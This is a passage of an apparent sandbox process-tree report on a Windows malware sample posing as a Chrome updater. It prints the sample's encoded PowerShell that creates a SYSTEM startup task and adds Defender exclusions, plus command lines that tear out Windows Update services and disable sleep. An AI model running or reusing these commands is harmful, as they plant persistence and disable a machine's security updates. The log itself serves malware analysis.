      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAeQBlAGwAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAiACcAKQAgADwAIwBqAHcAdgAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAHYAcQAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdgAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHgAYQB2ACMAPgA7AA=="
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      PID:1900
  - - C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe vqhasrxzj0 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
      4⤵
      Executes dropped EXE
      PID:6140
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAZgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAaAByAGUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAHYAdwBjAGYAIwA+ACAAQAAoACAAPAAjAG8AdwBqACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBnAGkAdABwACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAHgAbgBwAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAagBtACMAPgA="
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:3724
- - C:\Program Files\Google\Chrome\updater.exe
    "C:\Program Files\Google\Chrome\updater.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    PID:5020
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAdQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBpAHQAagAjAD4AIABAACgAIAA8ACMAdAB3ACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBxAGYAYgBjACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAGkAbAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAagB1ACMAPgA="
      4⤵
      Drops file in System32 directory
      PID:5324
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      Executes a command shell one-liner
      PID:5736
    - - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:3144
    - - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:6076
    - - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:5744
    - - C:\Windows\system32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:6124
    - - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:4692
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        5⤵
        Modifies registry key
        
        PID:4736
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        5⤵
        Modifies registry key
        
        PID:5816
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        5⤵
        
        PID:608
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        5⤵
        Modifies registry key
        
        PID:1688
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        5⤵
        Modifies registry key
        
        PID:2416
    - - C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4660
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4648
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        5⤵
        
        PID:736
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        5⤵
        
        PID:3472
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:2284
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:2628
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        5⤵
        
        PID:5756
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        5⤵
        
        PID:1300
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        5⤵
        
        PID:5688
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        5⤵
        
        PID:6080
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        5⤵
        
        PID:4272
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        5⤵
        
        PID:5540
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        5⤵
        
        PID:5364
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:5852
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        5⤵
        Power Settings
        
        PID:3804
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        5⤵
        Power Settings
        
        PID:6056
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        5⤵
        Power Settings
        
        PID:1892
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        5⤵
        Power Settings
        
        PID:4204
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAeQBlAGwAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAiACcAKQAgADwAIwBqAHcAdgAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAHYAcQAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdgAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHgAYQB2ACMAPgA7AA=="
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      PID:1636
  - - C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe vqhasrxzj0 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
      4⤵
      Executes dropped EXE
      PID:5776
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAZgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAaAByAGUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAHYAdwBjAGYAIwA+ACAAQAAoACAAPAAjAG8AdwBqACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBnAGkAdABwACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAHgAbgBwAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAagBtACMAPgA="
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:1764
- - C:\Program Files\Google\Chrome\updater.exe
    "C:\Program Files\Google\Chrome\updater.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    PID:4384
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAdQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBpAHQAagAjAD4AIABAACgAIAA8ACMAdAB3ACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBxAGYAYgBjACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAGkAbAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAagB1ACMAPgA="
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      PID:5652
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      Executes a command shell one-liner
      PID:2128
    - - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:1104
    - - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:2356
    - - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:2648
    - - C:\Windows\system32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:5140
    - - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:4972
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        5⤵
        Modifies registry key
        
        PID:1672
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        5⤵
        Modifies registry key
        
        PID:2308
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        5⤵
        
        PID:1820
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        5⤵
        
        PID:568
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        5⤵
        Modifies registry key
        
        PID:4996
    - - C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1856
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4976
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:1080
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        5⤵
        
        PID:1792
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        5⤵
        
        PID:5184
    - - C:\Windows\system32\reg.exe
        
